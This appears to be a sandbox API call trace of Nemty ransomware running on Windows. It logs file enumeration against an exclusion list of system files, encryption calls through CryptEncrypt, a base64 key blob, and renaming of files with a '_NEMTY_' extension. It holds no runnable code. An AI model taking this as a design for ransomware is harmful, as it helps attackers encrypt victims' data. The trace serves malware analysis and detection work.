[0120.756] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.756] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.756] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.756] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.773] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.773] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.773] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.773] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.782] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.782] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.782] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.782] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.788] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.788] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.788] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.788] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.794] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.794] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.794] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.794] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340350, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.794] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0120.794] CloseHandle (hObject=0xffffffff) returned 0 [0120.794] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63404c0 [0120.794] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0120.794] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0120.794] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0120.794] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0120.794] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0120.794] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0120.795] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63440b0 [0120.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0120.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0120.795] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_right_pressed.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_right_pressed.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_right_pressed.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_right_pressed.png._nemty_kgobjgd_")) returned 0 [0120.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0120.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404c0 | out: hHeap=0x4f90000) returned 1 [0120.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0120.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340350 | out: hHeap=0x4f90000) returned 1 [0120.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0120.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0120.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0120.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0120.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0120.795] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0120.795] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82e55fc9, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82e55fc9, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28b9f71b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x358, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="settings_right_rest.png", cAlternateFileName="")) returned 1 [0120.795] lstrcmpiW (lpString1="settings_right_rest.png", lpString2=".") returned 1 [0120.795] lstrcmpiW (lpString1="settings_right_rest.png", lpString2="..") returned 1 [0120.795] lstrcmpiW (lpString1="settings_right_rest.png", lpString2="...") returned 1 [0120.795] lstrcmpiW (lpString1="settings_right_rest.png", lpString2="windows") returned -1 [0120.795] lstrcmpiW (lpString1="settings_right_rest.png", lpString2="$RECYCLE.BIN") returned 1 [0120.795] lstrcmpiW (lpString1="settings_right_rest.png", lpString2="rsa") returned 1 [0120.795] lstrcmpiW (lpString1="settings_right_rest.png", lpString2="NTDETECT.COM") returned 1 [0120.795] lstrcmpiW (lpString1="settings_right_rest.png", lpString2="ntldr") returned 1 [0120.795] lstrcmpiW (lpString1="settings_right_rest.png", lpString2="MSDOS.SYS") returned 1 [0120.795] lstrcmpiW (lpString1="settings_right_rest.png", lpString2="IO.SYS") returned 1 [0120.795] lstrcmpiW (lpString1="settings_right_rest.png", lpString2="boot.ini") returned 1 [0120.795] lstrcmpiW (lpString1="settings_right_rest.png", lpString2="boot.ini") returned 1 [0120.795] lstrcmpiW (lpString1="settings_right_rest.png", lpString2="AUTOEXEC.BAT") returned 1 [0120.795] lstrcmpiW (lpString1="settings_right_rest.png", lpString2="ntuser.dat") returned 1 [0120.795] lstrcmpiW (lpString1="settings_right_rest.png", lpString2="desktop.ini") returned 1 [0120.795] lstrcmpiW (lpString1="settings_right_rest.png", lpString2="CONFIG.SYS") returned 1 [0120.795] lstrcmpiW (lpString1="settings_right_rest.png", lpString2="RECYCLER") returned 1 [0120.796] lstrcmpiW (lpString1="settings_right_rest.png", lpString2="BOOTSECT.BAK") returned 1 [0120.796] lstrcmpiW (lpString1="settings_right_rest.png", lpString2="bootmgr") returned 1 [0120.796] lstrcmpiW (lpString1="settings_right_rest.png", lpString2="programdata") returned 1 [0120.796] lstrcmpiW (lpString1="settings_right_rest.png", lpString2="appdata") returned 1 [0120.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0120.796] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_right_rest.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0120.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0120.796] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_right_rest.png", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_right_rest.png", lpUsedDefaultChar=0x0) returned 23 [0120.796] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0120.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0120.796] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_right_rest.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0120.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0120.796] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_right_rest.png", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_right_rest.png", lpUsedDefaultChar=0x0) returned 23 [0120.796] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0120.796] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0120.796] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0120.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0120.796] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_right_rest.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0120.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0120.796] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_right_rest.png", cchWideChar=23, lpMultiByteStr=0x4f9ecb8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_right_rest.png", lpUsedDefaultChar=0x0) returned 23 [0120.796] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0120.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0120.796] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_right_rest.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0120.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0120.796] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_right_rest.png", cchWideChar=23, lpMultiByteStr=0x4f9ed08, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_right_rest.png", lpUsedDefaultChar=0x0) returned 23 [0120.796] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0120.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401e0 [0120.796] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340298 | out: hHeap=0x4f90000) returned 1 [0120.796] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340298 [0120.796] Sleep (dwMilliseconds=0x5) [0120.804] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfba6dcb0, dwHighDateTime=0x1d561e7)) [0120.804] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfba6dcb0, dwHighDateTime=0x1d561e7)) [0120.804] GetLastError () returned 0x5 [0120.804] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0120.804] GetLastError () returned 0x5 [0120.804] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0120.804] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0120.804] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0120.804] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0120.804] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0120.805] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0120.805] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340350 [0120.805] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340350, pcchString=0x653e91c | out: pszString="Z9B37p6z/BuV4M9LrkoSRflhRa7CKtYR5nFDwAGqazxdgK+AiyCbvlQMnA9v+2rQ\r\nrNRiXvPANFoEMw+wz+eZdXjDMXB465bV7T/oMF4MKdCY4aIpzmwXqA7MEbctoQD8\r\nar2SC2TacR8X0bxVCJa0jLXMzd4Pajl+f+iQJ4mSuTeFhKa8LFB80/yndGn8Fwnq\r\nm6PUSLK/gWgJLN4V8uAYSbnpsbR1PneSUeysILcyZhpmJyrE4ZJRZ4JjoLdfgIJk\r\nPdVFOJTa+/BNOfjeHtjgTUI7VDitv05tQmmFFAh8MzyTts+x2Sbqpmpxgag58D4v\r\nnm87j9QxCS/1whSk7aqlIw==\r\n", pcchString=0x653e91c) returned 1 [0120.805] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0120.805] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340350 | out: hHeap=0x4f90000) returned 1 [0120.805] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0120.805] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0120.805] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340350 [0120.805] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0120.805] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_right_rest.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_right_rest.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0120.806] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0120.806] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0120.806] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.806] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.815] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.815] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.815] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.815] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.824] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.824] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.824] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.824] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.834] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.834] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.834] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.834] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.843] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.843] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.843] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.843] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.852] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.852] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.852] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.853] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.862] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.862] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.862] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.862] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.871] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.871] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.871] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.872] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.881] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.881] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.881] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.881] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.890] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.890] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.890] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.890] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0120.899] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.900] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0120.900] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0120.900] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 